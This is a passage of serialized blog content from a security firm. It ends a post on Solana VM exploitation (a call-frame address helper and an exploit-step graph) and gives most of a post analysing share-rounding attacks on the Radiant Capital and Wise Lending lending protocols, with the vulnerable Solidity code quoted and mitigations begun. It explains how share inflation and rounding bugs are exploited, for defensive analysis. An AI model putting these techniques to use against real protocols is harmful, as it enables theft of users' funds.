process]\n",{"type":21,"tag":85,"props":46146,"children":46147},{"class":87,"line":1402},[46148],{"type":21,"tag":85,"props":46149,"children":46150},{},[46151],{"type":26,"value":46152},"    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":21,"tag":85,"props":46154,"children":46155},{"class":87,"line":3145},[46156],{"type":21,"tag":85,"props":46157,"children":46158},{},[46159],{"type":26,"value":46160},"    N --> O[8: Write 0x4337 to the account]\n",{"type":21,"tag":22,"props":46162,"children":46163},{},[46164,46166,46172],{"type":26,"value":46165},"Small note: ",{"type":21,"tag":66,"props":46167,"children":46169},{"className":46168},[],[46170],{"type":26,"value":46171},"target_r10",{"type":26,"value":46173}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":21,"tag":75,"props":46175,"children":46177},{"className":77,"code":46176,"language":79,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n    0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[46178],{"type":21,"tag":66,"props":46179,"children":46180},{"__ignoreMap":7},[46181,46226,46261,46268],{"type":21,"tag":85,"props":46182,"children":46183},{"class":87,"line":88},[46184,46188,46193,46197,46202,46206,46210,46214,46218,46222],{"type":21,"tag":85,"props":46185,"children":46186},{"style":102},[46187],{"type":26,"value":20694},{"type":21,"tag":85,"props":46189,"children":46190},{"style":1021},[46191],{"type":26,"value":46192}," call_frame_addr",{"type":21,"tag":85,"props":46194,"children":46195},{"style":114},[46196],{"type":26,"value":1439},{"type":21,"tag":85,"props":46198,"children":46199},{"style":120},[46200],{"type":26,"value":46201},"depth",{"type":21,"tag":85,"props":46203,"children":46204},{"style":169},[46205],{"type":26,"value":172},{"type":21,"tag":85,"props":46207,"children":46208},{"style":108},[46209],{"type":26,"value":177},{"type":21,"tag":85,"props":46211,"children":46212},{"style":114},[46213],{"type":26,"value":736},{"type":21,"tag":85,"props":46215,"children":46216},{"style":169},[46217],{"type":26,"value":14175},{"type":21,"tag":85,"props":46219,"children":46220},{"style":108},[46221],{"type":26,"value":177},{"type":21,"tag":85,"props":46223,"children":46224},{"style":114},[46225],{"type":26,"value":148},{"type":21,"tag":85,"props":46227,"children":46228},{"class":87,"line":98},[46229,46234,46238,46243,46247,46252,46256],{"type":21,"tag":85,"props":46230,"children":46231},{"style":2285},[46232],{"type":26,"value":46233},"    0x200000000",{"type":21,"tag":85,"props":46235,"children":46236},{"style":169},[46237],{"type":26,"value":3274},{"type":21,"tag":85,"props":46239,"children":46240},{"style":2285},[46241],{"type":26,"value":46242}," 0x2000",{"type":21,"tag":85,"props":46244,"children":46245},{"style":169},[46246],{"type":26,"value":10231},{"type":21,"tag":85,"props":46248,"children":46249},{"style":120},[46250],{"type":26,"value":46251}," depth",{"type":21,"tag":85,"props":46253,"children":46254},{"style":169},[46255],{"type":26,"value":3274},{"type":21,"tag":85,"props":46257,"children":46258},{"style":2285},[46259],{"type":26,"value":46260}," 0x1000\n",{"type":21,"tag":85,"props":46262,"children":46263},{"class":87,"line":151},[46264],{"type":21,"tag":85,"props":46265,"children":46266},{"style":114},[46267],{"type":26,"value":2671},{"type":21,"tag":85,"props":46269,"children":46270},{"class":87,"line":160},[46271],{"type":21,"tag":85,"props":46272,"children":46273},{"style":92},[46274],{"type":26,"value":46275},"// call_frame_addr(8) = 0x200011000\n",{"type":21,"tag":54,"props":46277,"children":46278},{"id":29375},[46279],{"type":26,"value":19373},{"type":21,"tag":22,"props":46281,"children":46282},{},[46283,46285,46292],{"type":26,"value":46284},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":21,"tag":335,"props":46286,"children":46289},{"href":46287,"rel":46288},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[339],[46290],{"type":26,"value":46291},"they do exist",{"type":26,"value":73},{"type":21,"tag":22,"props":46294,"children":46295},{},[46296],{"type":26,"value":46297},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":21,"tag":22,"props":46299,"children":46300},{},[46301,46303,46308],{"type":26,"value":46302},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":21,"tag":39,"props":46304,"children":46305},{},[46306],{"type":26,"value":46307},"entire",{"type":26,"value":46309}," runtime.",{"type":21,"tag":3632,"props":46311,"children":46312},{},[46313],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":46315},[46316,46320,46321,46324],{"id":19382,"depth":98,"text":19385,"children":46317},[46318,46319],{"id":40990,"depth":151,"text":40993},{"id":42309,"depth":151,"text":42312},{"id":43548,"depth":98,"text":43551},{"id":44384,"depth":98,"text":44387,"children":46322},[46323],{"id":44498,"depth":151,"text":44501},{"id":29375,"depth":98,"text":19373},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":46329,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":46330,"description":46331,"author":46332,"image":46333,"date":46335,"isFeatured":16,"onBlogPage":16,"body":46336,"_type":3642,"_id":47482,"_source":3644,"_file":47483,"_stem":47484,"_extension":3647},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[10],{"src":46334},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":18,"children":46337,"toc":47471},[46338,46342,46370,46375,46388,46393,46399,46404,46409,46414,46419,46432,46444,46464,46484,46489,46494,46512,46518,46523,46529,46543,46556,46561,46567,46581,46586,46608,46841,46846,46851,46864,47104,47114,47119,47125,47130,47135,47168,47173,47184,47190,47195,47209,47337,47351,47427,47432,47443,47448,47453,47457,47462,47467],{"type":21,"tag":54,"props":46339,"children":46340},{"id":29458},[46341],{"type":26,"value":29461},{"type":21,"tag":22,"props":46343,"children":46344},{},[46345,46347,46354,46355,46362,46364,46369],{"type":26,"value":46346},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":21,"tag":335,"props":46348,"children":46351},{"href":46349,"rel":46350},"https://neodyme.io/de/blog/lending_disclosure",[339],[46352],{"type":26,"value":46353},"fast",{"type":26,"value":256},{"type":21,"tag":335,"props":46356,"children":46359},{"href":46357,"rel":46358},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[339],[46360],{"type":26,"value":46361},"cheap",{"type":26,"value":46363}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":21,"tag":39,"props":46365,"children":46366},{},[46367],{"type":26,"value":46368},"Most people haven't considered what happens when shares are worth a lot",{"type":26,"value":73},{"type":21,"tag":22,"props":46371,"children":46372},{},[46373],{"type":26,"value":46374},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":21,"tag":841,"props":46376,"children":46377},{},[46378,46383],{"type":21,"tag":845,"props":46379,"children":46380},{},[46381],{"type":26,"value":46382},"Inflate share value (token to share conversion rate)",{"type":21,"tag":845,"props":46384,"children":46385},{},[46386],{"type":26,"value":46387},"Exploit rounding bug",{"type":21,"tag":22,"props":46389,"children":46390},{},[46391],{"type":26,"value":46392},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":21,"tag":54,"props":46394,"children":46396},{"id":46395},"model",[46397],{"type":26,"value":46398},"Model",{"type":21,"tag":22,"props":46400,"children":46401},{},[46402],{"type":26,"value":46403},"Before we dive in, there's some helpful background information we'll share first.",{"type":21,"tag":22,"props":46405,"children":46406},{},[46407],{"type":26,"value":46408},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":21,"tag":22,"props":46410,"children":46411},{},[46412],{"type":26,"value":46413},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":21,"tag":22,"props":46415,"children":46416},{},[46417],{"type":26,"value":46418},"This question is more complex than it may appear. Let's walk through an example.",{"type":21,"tag":22,"props":46420,"children":46421},{},[46422,46424,46430],{"type":26,"value":46423},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":21,"tag":66,"props":46425,"children":46427},{"className":46426},[],[46428],{"type":26,"value":46429},"1000:1000",{"type":26,"value":46431}," (1000 tokens to 1000 shares).",{"type":21,"tag":22,"props":46433,"children":46434},{},[46435,46437,46443],{"type":26,"value":46436},"After accruing fees, the pool gains one token for a new ratio of ",{"type":21,"tag":66,"props":46438,"children":46440},{"className":46439},[],[46441],{"type":26,"value":46442},"1001:1000",{"type":26,"value":73},{"type":21,"tag":22,"props":46445,"children":46446},{},[46447,46449,46455,46457,46462],{"type":26,"value":46448},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":21,"tag":66,"props":46450,"children":46452},{"className":46451},[],[46453],{"type":26,"value":46454},"1001/1000*999 = 999.999",{"type":26,"value":46456},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":21,"tag":39,"props":46458,"children":46459},{},[46460],{"type":26,"value":46461},"down",{"type":26,"value":46463}," against the user.",{"type":21,"tag":22,"props":46465,"children":46466},{},[46467,46469,46475,46477,46483],{"type":26,"value":46468},"If we give the user 999 tokens, the new pool state is ",{"type":21,"tag":66,"props":46470,"children":46472},{"className":46471},[],[46473],{"type":26,"value":46474},"2:1",{"type":26,"value":46476},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":21,"tag":66,"props":46478,"children":46480},{"className":46479},[],[46481],{"type":26,"value":46482},"3:1",{"type":26,"value":73},{"type":21,"tag":22,"props":46485,"children":46486},{},[46487],{"type":26,"value":46488},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":21,"tag":22,"props":46490,"children":46491},{},[46492],{"type":26,"value":46493},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":21,"tag":841,"props":46495,"children":46496},{},[46497,46502,46507],{"type":21,"tag":845,"props":46498,"children":46499},{},[46500],{"type":26,"value":46501},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":21,"tag":845,"props":46503,"children":46504},{},[46505],{"type":26,"value":46506},"When you withdraw, are you withdrawing shares or tokens?",{"type":21,"tag":845,"props":46508,"children":46509},{},[46510],{"type":26,"value":46511},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":21,"tag":54,"props":46513,"children":46515},{"id":46514},"decisions",[46516],{"type":26,"value":46517},"Decisions",{"type":21,"tag":22,"props":46519,"children":46520},{},[46521],{"type":26,"value":46522},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":21,"tag":10022,"props":46524,"children":46526},{"id":46525},"radiant-capital",[46527],{"type":26,"value":46528},"Radiant Capital",{"type":21,"tag":22,"props":46530,"children":46531},{},[46532,46534,46541],{"type":26,"value":46533},"Radiant Capital was ",{"type":21,"tag":335,"props":46535,"children":46538},{"href":46536,"rel":46537},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[339],[46539],{"type":26,"value":46540},"hacked on Jan 2nd",{"type":26,"value":46542}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":21,"tag":22,"props":46544,"children":46545},{},[46546,46548,46555],{"type":26,"value":46547},"The exploit is relatively straightforward and ",{"type":21,"tag":335,"props":46549,"children":46552},{"href":46550,"rel":46551},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[339],[46553],{"type":26,"value":46554},"has already been covered previously",{"type":26,"value":73},{"type":21,"tag":22,"props":46557,"children":46558},{},[46559],{"type":26,"value":46560},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":21,"tag":10022,"props":46562,"children":46564},{"id":46563},"wise-lending",[46565],{"type":26,"value":46566},"Wise Lending",{"type":21,"tag":22,"props":46568,"children":46569},{},[46570,46572,46579],{"type":26,"value":46571},"Wise Lending was ",{"type":21,"tag":335,"props":46573,"children":46576},{"href":46574,"rel":46575},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[339],[46577],{"type":26,"value":46578},"hacked on January 13th",{"type":26,"value":46580}," for just under $460,000.",{"type":21,"tag":22,"props":46582,"children":46583},{},[46584],{"type":26,"value":46585},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":21,"tag":22,"props":46587,"children":46588},{},[46589,46591,46598,46600,46607],{"type":26,"value":46590},"This is ",{"type":21,"tag":335,"props":46592,"children":46595},{"href":46593,"rel":46594},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[339],[46596],{"type":26,"value":46597},"the code responsible",{"type":26,"value":46599}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":21,"tag":335,"props":46601,"children":46604},{"href":46602,"rel":46603},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[339],[46605],{"type":26,"value":46606},"no way to atomically self-bankrupt",{"type":26,"value":73},{"type":21,"tag":75,"props":46609,"children":46611},{"className":5245,"code":46610,"language":5244,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n    _poolToken,\n    _amount\n)\n    * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n    / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n    * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n    / PRECISION_FACTOR_E18\n    \u003C borrowAmount;\n\nif (state == true) {\n    revert ResultsInBadDebt();\n}\n",[46612],{"type":21,"tag":66,"props":46613,"children":46614},{"__ignoreMap":7},[46615,46646,46654,46662,46669,46691,46704,46711,46732,46762,46774,46786,46793,46817,46834],{"type":21,"tag":85,"props":46616,"children":46617},{"class":87,"line":88},[46618,46623,46628,46632,46637,46642],{"type":21,"tag":85,"props":46619,"children":46620},{"style":108},[46621],{"type":26,"value":46622},"uint256",{"type":21,"tag":85,"props":46624,"children":46625},{"style":114},[46626],{"type":26,"value":46627}," withdrawValue ",{"type":21,"tag":85,"props":46629,"children":46630},{"style":169},[46631],{"type":26,"value":741},{"type":21,"tag":85,"props":46633,"children":46634},{"style":114},[46635],{"type":26,"value":46636}," WISE_ORACLE.",{"type":21,"tag":85,"props":46638,"children":46639},{"style":1021},[46640],{"type":26,"value":46641},"getTokensInETH",{"type":21,"tag":85,"props":46643,"children":46644},{"style":114},[46645],{"type":26,"value":1029},{"type":21,"tag":85,"props":46647,"children":46648},{"class":87,"line":98},[46649],{"type":21,"tag":85,"props":46650,"children":46651},{"style":114},[46652],{"type":26,"value":46653},"    _poolToken,\n",{"type":21,"tag":85,"props":46655,"children":46656},{"class":87,"line":151},[46657],{"type":21,"tag":85,"props":46658,"children":46659},{"style":114},[46660],{"type":26,"value":46661},"    _amount\n",{"type":21,"tag":85,"props":46663,"children":46664},{"class":87,"line":160},[46665],{"type":21,"tag":85,"props":46666,"children":46667},{"style":114},[46668],{"type":26,"value":2485},{"type":21,"tag":85,"props":46670,"children":46671},{"class":87,"line":185},[46672,46676,46681,46686],{"type":21,"tag":85,"props":46673,"children":46674},{"style":169},[46675],{"type":26,"value":17984},{"type":21,"tag":85,"props":46677,"children":46678},{"style":114},[46679],{"type":26,"value":46680}," WISE_LENDING.",{"type":21,"tag":85,"props":46682,"children":46683},{"style":1021},[46684],{"type":26,"value":46685},"lendingPoolData",{"type":21,"tag":85,"props":46687,"children":46688},{"style":114},[46689],{"type":26,"value":46690},"(_poolToken).collateralFactor\n",{"type":21,"tag":85,"props":46692,"children":46693},{"class":87,"line":501},[46694,46699],{"type":21,"tag":85,"props":46695,"children":46696},{"style":169},[46697],{"type":26,"value":46698},"    /",{"type":21,"tag":85,"props":46700,"children":46701},{"style":114},[46702],{"type":26,"value":46703}," PRECISION_FACTOR_E18;\n",{"type":21,"tag":85,"props":46705,"children":46706},{"class":87,"line":697},[46707],{"type":21,"tag":85,"props":46708,"children":46709},{"emptyLinePlaceholder":16},[46710],{"type":26,"value":703},{"type":21,"tag":85,"props":46712,"children":46713},{"class":87,"line":706},[46714,46718,46723,46727],{"type":21,"tag":85,"props":46715,"children":46716},{"style":108},[46717],{"type":26,"value":30129},{"type":21,"tag":85,"props":46719,"children":46720},{"style":114},[46721],{"type":26,"value":46722}," state ",{"type":21,"tag":85,"props":46724,"children":46725},{"style":169},[46726],{"type":26,"value":741},{"type":21,"tag":85,"props":46728,"children":46729},{"style":114},[46730],{"type":26,"value":46731}," borrowPercentageCap\n",{"type":21,"tag":85,"props":46733,"children":46734},{"class":87,"line":1100},[46735,46739,46743,46748,46753,46757],{"type":21,"tag":85,"props":46736,"children":46737},{"style":169},[46738],{"type":26,"value":17984},{"type":21,"tag":85,"props":46740,"children":46741},{"style":114},[46742],{"type":26,"value":717},{"type":21,"tag":85,"props":46744,"children":46745},{"style":1021},[46746],{"type":26,"value":46747},"overallETHCollateralsWeighted",{"type":21,"tag":85,"props":46749,"children":46750},{"style":114},[46751],{"type":26,"value":46752},"(_nftId) ",{"type":21,"tag":85,"props":46754,"children":46755},{"style":169},[46756],{"type":26,"value":5097},{"type":21,"tag":85,"props":46758,"children":46759},{"style":114},[46760],{"type":26,"value":46761}," withdrawValue)\n",{"type":21,"tag":85,"props":46763,"children":46764},{"class":87,"line":1339},[46765,46769],{"type":21,"tag":85,"props":46766,"children":46767},{"style":169},[46768],{"type":26,"value":46698},{"type":21,"tag":85,"props":46770,"children":46771},{"style":114},[46772],{"type":26,"value":46773}," PRECISION_FACTOR_E18\n",{"type":21,"tag":85,"props":46775,"children":46776},{"class":87,"line":1348},[46777,46781],{"type":21,"tag":85,"props":46778,"children":46779},{"style":169},[46780],{"type":26,"value":32891},{"type":21,"tag":85,"props":46782,"children":46783},{"style":114},[46784],{"type":26,"value":46785}," borrowAmount;\n",{"type":21,"tag":85,"props":46787,"children":46788},{"class":87,"line":1386},[46789],{"type":21,"tag":85,"props":46790,"children":46791},{"emptyLinePlaceholder":16},[46792],{"type":26,"value":703},{"type":21,"tag":85,"props":46794,"children":46795},{"class":87,"line":1394},[46796,46800,46805,46809,46813],{"type":21,"tag":85,"props":46797,"children":46798},{"style":2885},[46799],{"type":26,"value":15999},{"type":21,"tag":85,"props":46801,"children":46802},{"style":114},[46803],{"type":26,"value":46804}," (state ",{"type":21,"tag":85,"props":46806,"children":46807},{"style":169},[46808],{"type":26,"value":2936},{"type":21,"tag":85,"props":46810,"children":46811},{"style":102},[46812],{"type":26,"value":12886},{"type":21,"tag":85,"props":46814,"children":46815},{"style":114},[46816],{"type":26,"value":15222},{"type":21,"tag":85,"props":46818,"children":46819},{"class":87,"line":1402},[46820,46825,46830],{"type":21,"tag":85,"props":46821,"children":46822},{"style":2885},[46823],{"type":26,"value":46824},"    revert",{"type":21,"tag":85,"props":46826,"children":46827},{"style":1021},[46828],{"type":26,"value":46829}," ResultsInBadDebt",{"type":21,"tag":85,"props":46831,"children":46832},{"style":114},[46833],{"type":26,"value":4437},{"type":21,"tag":85,"props":46835,"children":46836},{"class":87,"line":3145},[46837],{"type":21,"tag":85,"props":46838,"children":46839},{"style":114},[46840],{"type":26,"value":2671},{"type":21,"tag":22,"props":46842,"children":46843},{},[46844],{"type":26,"value":46845},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":21,"tag":22,"props":46847,"children":46848},{},[46849],{"type":26,"value":46850},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":21,"tag":22,"props":46852,"children":46853},{},[46854,46856,46862],{"type":26,"value":46855},"And indeed, ",{"type":21,"tag":335,"props":46857,"children":46860},{"href":46858,"rel":46859},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[339],[46861],{"type":26,"value":46566},{"type":26,"value":46863}," rounds up the share value.",{"type":21,"tag":75,"props":46865,"children":46867},{"className":5245,"code":46866,"language":5244,"meta":7,"style":7},"function _calculateShares(\n    uint256 _product,\n    uint256 _pseudo,\n    bool _maxSharePrice\n)\n    private\n    pure\n    returns (uint256)\n{\n    return _maxSharePrice == true\n        ? _product % _pseudo == 0\n            ? _product / _pseudo\n            : _product / _pseudo + 1\n        : _product / _pseudo;\n}\n",[46868],{"type":21,"tag":66,"props":46869,"children":46870},{"__ignoreMap":7},[46871,46887,46904,46920,46933,46940,46948,46956,46976,46983,47004,47025,47047,47076,47097],{"type":21,"tag":85,"props":46872,"children":46873},{"class":87,"line":88},[46874,46878,46883],{"type":21,"tag":85,"props":46875,"children":46876},{"style":102},[46877],{"type":26,"value":31822},{"type":21,"tag":85,"props":46879,"children":46880},{"style":1021},[46881],{"type":26,"value":46882}," _calculateShares",{"type":21,"tag":85,"props":46884,"children":46885},{"style":114},[46886],{"type":26,"value":1029},{"type":21,"tag":85,"props":46888,"children":46889},{"class":87,"line":98},[46890,46895,46900],{"type":21,"tag":85,"props":46891,"children":46892},{"style":108},[46893],{"type":26,"value":46894},"    uint256",{"type":21,"tag":85,"props":46896,"children":46897},{"style":120},[46898],{"type":26,"value":46899}," _product",{"type":21,"tag":85,"props":46901,"children":46902},{"style":114},[46903],{"type":26,"value":182},{"type":21,"tag":85,"props":46905,"children":46906},{"class":87,"line":151},[46907,46911,46916],{"type":21,"tag":85,"props":46908,"children":46909},{"style":108},[46910],{"type":26,"value":46894},{"type":21,"tag":85,"props":46912,"children":46913},{"style":120},[46914],{"type":26,"value":46915}," _pseudo",{"type":21,"tag":85,"props":46917,"children":46918},{"style":114},[46919],{"type":26,"value":182},{"type":21,"tag":85,"props":46921,"children":46922},{"class":87,"line":160},[46923,46928],{"type":21,"tag":85,"props":46924,"children":46925},{"style":108},[46926],{"type":26,"value":46927},"    bool",{"type":21,"tag":85,"props":46929,"children":46930},{"style":120},[46931],{"type":26,"value":46932}," _maxSharePrice\n",{"type":21,"tag":85,"props":46934,"children":46935},{"class":87,"line":185},[46936],{"type":21,"tag":85,"props":46937,"children":46938},{"style":114},[46939],{"type":26,"value":2485},{"type":21,"tag":85,"props":46941,"children":46942},{"class":87,"line":501},[46943],{"type":21,"tag":85,"props":46944,"children":46945},{"style":102},[46946],{"type":26,"value":46947},"    private\n",{"type":21,"tag":85,"props":46949,"children":46950},{"class":87,"line":697},[46951],{"type":21,"tag":85,"props":46952,"children":46953},{"style":102},[46954],{"type":26,"value":46955},"    pure\n",{"type":21,"tag":85,"props":46957,"children":46958},{"class":87,"line":706},[46959,46964,46968,46972],{"type":21,"tag":85,"props":46960,"children":46961},{"style":2885},[46962],{"type":26,"value":46963},"    returns",{"type":21,"tag":85,"props":46965,"children":46966},{"style":114},[46967],{"type":26,"value":717},{"type":21,"tag":85,"props":46969,"children":46970},{"style":108},[46971],{"type":26,"value":46622},{"type":21,"tag":85,"props":46973,"children":46974},{"style":114},[46975],{"type":26,"value":2485},{"type":21,"tag":85,"props":46977,"children":46978},{"class":87,"line":1100},[46979],{"type":21,"tag":85,"props":46980,"children":46981},{"style":114},[46982],{"type":26,"value":11296},{"type":21,"tag":85,"props":46984,"children":46985},{"class":87,"line":1339},[46986,46990,46995,46999],{"type":21,"tag":85,"props":46987,"children":46988},{"style":2885},[46989],{"type":26,"value":17411},{"type":21,"tag":85,"props":46991,"children":46992},{"style":114},[46993],{"type":26,"value":46994}," _maxSharePrice ",{"type":21,"tag":85,"props":46996,"children":46997},{"style":169},[46998],{"type":26,"value":2936},{"type":21,"tag":85,"props":47000,"children":47001},{"style":102},[47002],{"type":26,"value":47003}," true\n",{"type":21,"tag":85,"props":47005,"children":47006},{"class":87,"line":1348},[47007,47012,47017,47021],{"type":21,"tag":85,"props":47008,"children":47009},{"style":169},[47010],{"type":26,"value":47011},"        ?",{"type":21,"tag":85,"props":47013,"children":47014},{"style":114},[47015],{"type":26,"value":47016}," _product % _pseudo ",{"type":21,"tag":85,"props":47018,"children":47019},{"style":169},[47020],{"type":26,"value":2936},{"type":21,"tag":85,"props":47022,"children":47023},{"style":2285},[47024],{"type":26,"value":24719},{"type":21,"tag":85,"props":47026,"children":47027},{"class":87,"line":1386},[47028,47033,47038,47042],{"type":21,"tag":85,"props":47029,"children":47030},{"style":169},[47031],{"type":26,"value":47032},"            ?",{"type":21,"tag":85,"props":47034,"children":47035},{"style":114},[47036],{"type":26,"value":47037}," _product ",{"type":21,"tag":85,"props":47039,"children":47040},{"style":169},[47041],{"type":26,"value":5349},{"type":21,"tag":85,"props":47043,"children":47044},{"style":114},[47045],{"type":26,"value":47046}," _pseudo\n",{"type":21,"tag":85,"props":47048,"children":47049},{"class":87,"line":1394},[47050,47055,47059,47063,47068,47072],{"type":21,"tag":85,"props":47051,"children":47052},{"style":169},[47053],{"type":26,"value":47054},"            :",{"type":21,"tag":85,"props":47056,"children":47057},{"style":114},[47058],{"type":26,"value":47037},{"type":21,"tag":85,"props":47060,"children":47061},{"style":169},[47062],{"type":26,"value":5349},{"type":21,"tag":85,"props":47064,"children":47065},{"style":114},[47066],{"type":26,"value":47067}," _pseudo ",{"type":21,"tag":85,"props":47069,"children":47070},{"style":169},[47071],{"type":26,"value":5151},{"type":21,"tag":85,"props":47073,"children":47074},{"style":2285},[47075],{"type":26,"value":19869},{"type":21,"tag":85,"props":47077,"children":47078},{"class":87,"line":1402},[47079,47084,47088,47092],{"type":21,"tag":85,"props":47080,"children":47081},{"style":169},[47082],{"type":26,"value":47083},"        :",{"type":21,"tag":85,"props":47085,"children":47086},{"style":114},[47087],{"type":26,"value":47037},{"type":21,"tag":85,"props":47089,"children":47090},{"style":169},[47091],{"type":26,"value":5349},{"type":21,"tag":85,"props":47093,"children":47094},{"style":114},[47095],{"type":26,"value":47096}," _pseudo;\n",{"type":21,"tag":85,"props":47098,"children":47099},{"class":87,"line":3145},[47100],{"type":21,"tag":85,"props":47101,"children":47102},{"style":114},[47103],{"type":26,"value":2671},{"type":21,"tag":22,"props":47105,"children":47106},{},[47107,47112],{"type":21,"tag":39,"props":47108,"children":47109},{},[47110],{"type":26,"value":47111},"Regardless of which way the share rounding occurs, this is a bug",{"type":26,"value":47113},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":21,"tag":22,"props":47115,"children":47116},{},[47117],{"type":26,"value":47118},"This is a really tricky invariant to reason about!",{"type":21,"tag":54,"props":47120,"children":47122},{"id":47121},"root-cause",[47123],{"type":26,"value":47124},"Root Cause",{"type":21,"tag":22,"props":47126,"children":47127},{},[47128],{"type":26,"value":47129},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":21,"tag":22,"props":47131,"children":47132},{},[47133],{"type":26,"value":47134},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":21,"tag":75,"props":47136,"children":47138},{"className":5245,"code":47137,"language":5244,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[47139],{"type":21,"tag":66,"props":47140,"children":47141},{"__ignoreMap":7},[47142],{"type":21,"tag":85,"props":47143,"children":47144},{"class":87,"line":88},[47145,47150,47154,47159,47163],{"type":21,"tag":85,"props":47146,"children":47147},{"style":114},[47148],{"type":26,"value":47149},"totalDepositShares ",{"type":21,"tag":85,"props":47151,"children":47152},{"style":169},[47153],{"type":26,"value":3052},{"type":21,"tag":85,"props":47155,"children":47156},{"style":114},[47157],{"type":26,"value":47158}," _amount ",{"type":21,"tag":85,"props":47160,"children":47161},{"style":169},[47162],{"type":26,"value":5349},{"type":21,"tag":85,"props":47164,"children":47165},{"style":114},[47166],{"type":26,"value":47167}," pseudoTotalPool\n",{"type":21,"tag":22,"props":47169,"children":47170},{},[47171],{"type":26,"value":47172},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":21,"tag":22,"props":47174,"children":47175},{},[47176,47178,47182],{"type":26,"value":47177},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":21,"tag":39,"props":47179,"children":47180},{},[47181],{"type":26,"value":20344},{"type":26,"value":47183}," integer division?",{"type":21,"tag":54,"props":47185,"children":47187},{"id":47186},"mitigations",[47188],{"type":26,"value":47189},"Mitigations",{"type":21,"tag":22,"props":47191,"children":47192},{},[47193],{"type":26,"value":47194},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":21,"tag":22,"props":47196,"children":47197},{},[47198,47200,47207],{"type":26,"value":47199},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":21,"tag":335,"props":47201,"children":47204},{"href":47202,"rel":47203},"https://twitter.com/danielvf/status/1746306320553152615",[339],[47205],{"type":26,"value":47206},"@danielvf notes",{"type":26,"value":47208},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":21,"tag":75,"props":47210,"children":47212},{"className":5245,"code":47211,"language":5244,"meta":7,"style":7},"if (_totalSupply == 0) {\n    liquidity = 